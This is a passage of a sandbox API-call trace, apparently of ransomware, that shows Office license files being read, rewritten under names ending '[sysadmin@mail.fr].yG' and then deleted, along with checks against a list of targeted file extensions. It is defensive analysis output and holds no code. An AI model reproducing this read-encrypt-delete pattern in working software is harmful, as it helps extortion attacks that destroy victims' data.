	[0162.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0162.990] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.990] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.991] GetLastError () returned 0x0
	[0162.991] ReadFile (in: hFile=0x340, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d42, lpOverlapped=0x0) returned 1
	[0162.993] WriteFile (in: hFile=0x538, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0162.994] ReadFile (in: hFile=0x340, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.994] WriteFile (in: hFile=0x538, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x108, lpOverlapped=0x0) returned 1
	[0162.995] SetEndOfFile (hFile=0x538) returned 1
	[0162.995] CloseHandle (hObject=0x538) returned 1
	[0162.995] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.995] SetEndOfFile (hFile=0x340) returned 1
	[0163.101] CloseHandle (hObject=0x340) returned 1
	[0163.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 1
	[0163.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0163.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0163.677] lstrlenW (lpString=".doc") returned 4
	[0163.677] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.677] lstrlenW (lpString=".docx") returned 5
	[0163.678] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.678] lstrlenW (lpString=".pdf") returned 4
	[0163.678] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.678] lstrlenW (lpString=".xls") returned 4
	[0163.678] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.679] lstrlenW (lpString=".xlsx") returned 5
	[0163.679] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.679] lstrlenW (lpString=".ppt") returned 4
	[0163.679] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0163.679] lstrlenW (lpString=".zip") returned 4
	[0163.680] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.680] lstrlenW (lpString=".rar") returned 4
	[0163.680] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.681] lstrlenW (lpString=".bz2") returned 4
	[0163.681] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.681] lstrlenW (lpString=".7z") returned 3
	[0163.681] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0163.681] lstrlenW (lpString=".dbf") returned 4
	[0163.681] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0163.682] lstrlenW (lpString=".1cd") returned 4
	[0163.682] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0163.685] lstrlenW (lpString=".jpg") returned 4
	[0163.685] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0163.879] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=19921) returned 1
	[0163.879] CloseHandle (hObject=0x360) returned 1
	[0163.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 0x220
	[0163.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0163.880] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.880] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0163.881] GetLastError () returned 0x0
	[0163.881] ReadFile (in: hFile=0x360, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x4dd1, lpOverlapped=0x0) returned 1
	[0163.891] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0163.893] ReadFile (in: hFile=0x360, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.893] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x106, lpOverlapped=0x0) returned 1
	[0163.893] SetEndOfFile (hFile=0x4ac) returned 1
	[0163.893] CloseHandle (hObject=0x4ac) returned 1
	[0163.894] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.894] SetEndOfFile (hFile=0x360) returned 1
	[0163.900] CloseHandle (hObject=0x360) returned 1
	[0163.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 1
	[0163.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0163.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0163.903] lstrlenW (lpString=".doc") returned 4
	[0163.903] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.903] lstrlenW (lpString=".docx") returned 5
	[0163.903] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.903] lstrlenW (lpString=".pdf") returned 4
	[0163.903] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.903] lstrlenW (lpString=".xls") returned 4
	[0163.903] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.903] lstrlenW (lpString=".xlsx") returned 5
	[0163.903] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.903] lstrlenW (lpString=".ppt") returned 4
	[0163.903] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0163.903] lstrlenW (lpString=".zip") returned 4
	[0163.903] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.903] lstrlenW (lpString=".rar") returned 4
	[0163.903] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.904] lstrlenW (lpString=".bz2") returned 4
	[0163.904] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.904] lstrlenW (lpString=".7z") returned 3
	[0163.904] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0163.904] lstrlenW (lpString=".dbf") returned 4
	[0163.904] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0163.904] lstrlenW (lpString=".1cd") returned 4
	[0163.904] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0163.905] lstrlenW (lpString=".jpg") returned 4
	[0163.905] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0163.906] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11644) returned 1
	[0163.906] CloseHandle (hObject=0x360) returned 1
	[0163.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 0x220
	[0163.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0163.907] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.908] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0163.909] GetLastError () returned 0x0
	[0163.909] ReadFile (in: hFile=0x360, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d7c, lpOverlapped=0x0) returned 1
	[0163.984] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0163.986] ReadFile (in: hFile=0x360, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.986] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0164.000] SetEndOfFile (hFile=0x4ac) returned 1
	[0164.087] CloseHandle (hObject=0x4ac) returned 1
	[0164.088] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.088] SetEndOfFile (hFile=0x360) returned 1
	[0164.092] CloseHandle (hObject=0x360) returned 1
	[0164.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 1
	[0164.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0164.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0164.094] lstrlenW (lpString=".doc") returned 4
	[0164.094] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.094] lstrlenW (lpString=".docx") returned 5
	[0164.094] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.094] lstrlenW (lpString=".pdf") returned 4
	[0164.094] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.094] lstrlenW (lpString=".xls") returned 4
	[0164.094] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.094] lstrlenW (lpString=".xlsx") returned 5
	[0164.094] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.094] lstrlenW (lpString=".ppt") returned 4
	[0164.094] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0164.094] lstrlenW (lpString=".zip") returned 4
	[0164.094] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.094] lstrlenW (lpString=".rar") returned 4
	[0164.094] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.094] lstrlenW (lpString=".bz2") returned 4
	[0164.094] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.094] lstrlenW (lpString=".7z") returned 3
	[0164.094] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0164.094] lstrlenW (lpString=".dbf") returned 4
	[0164.094] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0164.095] lstrlenW (lpString=".1cd") returned 4
	[0164.095] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0164.095] lstrlenW (lpString=".jpg") returned 4
	[0164.095] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.096] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=10663) returned 1
	[0164.096] CloseHandle (hObject=0x360) returned 1
	[0164.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 0x220
	[0164.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0164.097] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.097] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0164.098] GetLastError () returned 0x0
	[0164.098] ReadFile (in: hFile=0x360, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x29a7, lpOverlapped=0x0) returned 1
	[0164.101] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0164.103] ReadFile (in: hFile=0x360, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.103] WriteFile (in: hFile=0x4ac, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x114, lpOverlapped=0x0) returned 1
	[0164.104] SetEndOfFile (hFile=0x4ac) returned 1
	[0164.104] CloseHandle (hObject=0x4ac) returned 1
	[0164.104] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.104] SetEndOfFile (hFile=0x360) returned 1
	[0164.110] CloseHandle (hObject=0x360) returned 1
	[0164.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 1
	[0164.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0164.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0164.111] lstrlenW (lpString=".doc") returned 4
	[0164.112] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.112] lstrlenW (lpString=".docx") returned 5
	[0164.112] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.112] lstrlenW (lpString=".pdf") returned 4
	[0164.112] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.112] lstrlenW (lpString=".xls") returned 4
	[0164.112] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.112] lstrlenW (lpString=".xlsx") returned 5
	[0164.112] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.112] lstrlenW (lpString=".ppt") returned 4
	[0164.112] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0164.112] lstrlenW (lpString=".zip") returned 4
	[0164.112] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.112] lstrlenW (lpString=".rar") returned 4
	[0164.112] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.112] lstrlenW (lpString=".bz2") returned 4
	[0164.112] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.112] lstrlenW (lpString=".7z") returned 3
	[0164.112] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0164.112] lstrlenW (lpString=".dbf") returned 4
	[0164.112] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0164.113] lstrlenW (lpString=".1cd") returned 4
	[0164.113] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0164.113] lstrlenW (lpString=".jpg") returned 4
	[0164.113] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.113] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=22093) returned 1
	[0164.114] CloseHandle (hObject=0x360) returned 1
	[0164.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0164.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
